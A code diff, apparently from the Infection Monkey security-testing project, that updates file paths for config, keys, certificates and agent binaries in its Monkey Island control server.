_DB_PASSWORD_FILENAME = "mongo_key.bin"
|
_DB_PASSWORD_FILENAME = "monkey_island/cc/mongo_key.bin"
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._load_key()
|
self._load_key()
|
|
@ -13,7 +13,7 @@ ENV_DICT = {
|
||||||
|
|
||||||
|
|
||||||
def load_env_from_file():
|
def load_env_from_file():
|
||||||
with open('server_config.json', 'r') as f:
|
with open('monkey_island/cc/server_config.json', 'r') as f:
|
||||||
config_content = f.read()
|
config_content = f.read()
|
||||||
config_json = json.loads(config_content)
|
config_json = json.loads(config_content)
|
||||||
return config_json['server_config']
|
return config_json['server_config']
|
|
@ -6,12 +6,13 @@ import time
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
if BASE_PATH not in sys.path:
|
if BASE_PATH not in sys.path:
|
||||||
sys.path.insert(0, BASE_PATH)
|
sys.path.insert(0, BASE_PATH)
|
||||||
|
|
||||||
from cc.island_logger import json_setup_logging
|
from cc.island_logger import json_setup_logging
|
||||||
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
||||||
json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG)
|
json_setup_logging(default_path='.\\monkey_island\\cc\\island_logger_default_config.json', default_level=logging.DEBUG)
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
from cc.app import init_app
|
from cc.app import init_app
|
||||||
|
@ -33,11 +34,11 @@ def main():
|
||||||
|
|
||||||
app = init_app(mongo_url)
|
app = init_app(mongo_url)
|
||||||
if env.is_debug():
|
if env.is_debug():
|
||||||
app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key'))
|
app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key'))
|
||||||
else:
|
else:
|
||||||
http_server = HTTPServer(WSGIContainer(app),
|
http_server = HTTPServer(WSGIContainer(app),
|
||||||
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
|
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'monkey_island/cc/server.crt'),
|
||||||
'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
|
'keyfile': os.environ.get('SERVER_KEY', 'monkey_island/cc/server.key')})
|
||||||
http_server.listen(env.get_island_port())
|
http_server.listen(env.get_island_port())
|
||||||
logger.info(
|
logger.info(
|
||||||
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
|
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
|
|
@ -26,8 +26,8 @@ def run_local_monkey():
|
||||||
if not result:
|
if not result:
|
||||||
return False, "OS Type not found"
|
return False, "OS Type not found"
|
||||||
|
|
||||||
monkey_path = os.path.join('binaries', result['filename'])
|
monkey_path = os.path.join(os.getcwd(), 'monkey_island', 'cc', 'binaries', result['filename'])
|
||||||
target_path = os.path.join(os.getcwd(), result['filename'])
|
target_path = os.path.join(os.getcwd(), 'monkey_island', result['filename'])
|
||||||
|
|
||||||
# copy the executable to temp path (don't run the monkey from its current location as it may delete itself)
|
# copy the executable to temp path (don't run the monkey from its current location as it may delete itself)
|
||||||
try:
|
try:
|
|
@ -1,15 +1,14 @@
|
||||||
import logging
|
|
||||||
import json
|
import json
|
||||||
|
import logging
|
||||||
import os
|
import os
|
||||||
from flask import request, send_from_directory
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
|
from flask import request, send_from_directory
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
MONKEY_DOWNLOADS = [
|
MONKEY_DOWNLOADS = [
|
||||||
{
|
{
|
||||||
'type': 'linux',
|
'type': 'linux',
|
||||||
|
@ -81,7 +80,8 @@ class MonkeyDownload(flask_restful.Resource):
|
||||||
result = get_monkey_executable(host_os.get('type'), host_os.get('machine'))
|
result = get_monkey_executable(host_os.get('type'), host_os.get('machine'))
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
real_path = os.path.join('binaries', result['filename'])
|
# change resulting from new base path
|
||||||
|
real_path = os.path.join("monkey_island", "cc", 'binaries', result['filename'])
|
||||||
if os.path.isfile(real_path):
|
if os.path.isfile(real_path):
|
||||||
result['size'] = os.path.getsize(real_path)
|
result['size'] = os.path.getsize(real_path)
|
||||||
return result
|
return result
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue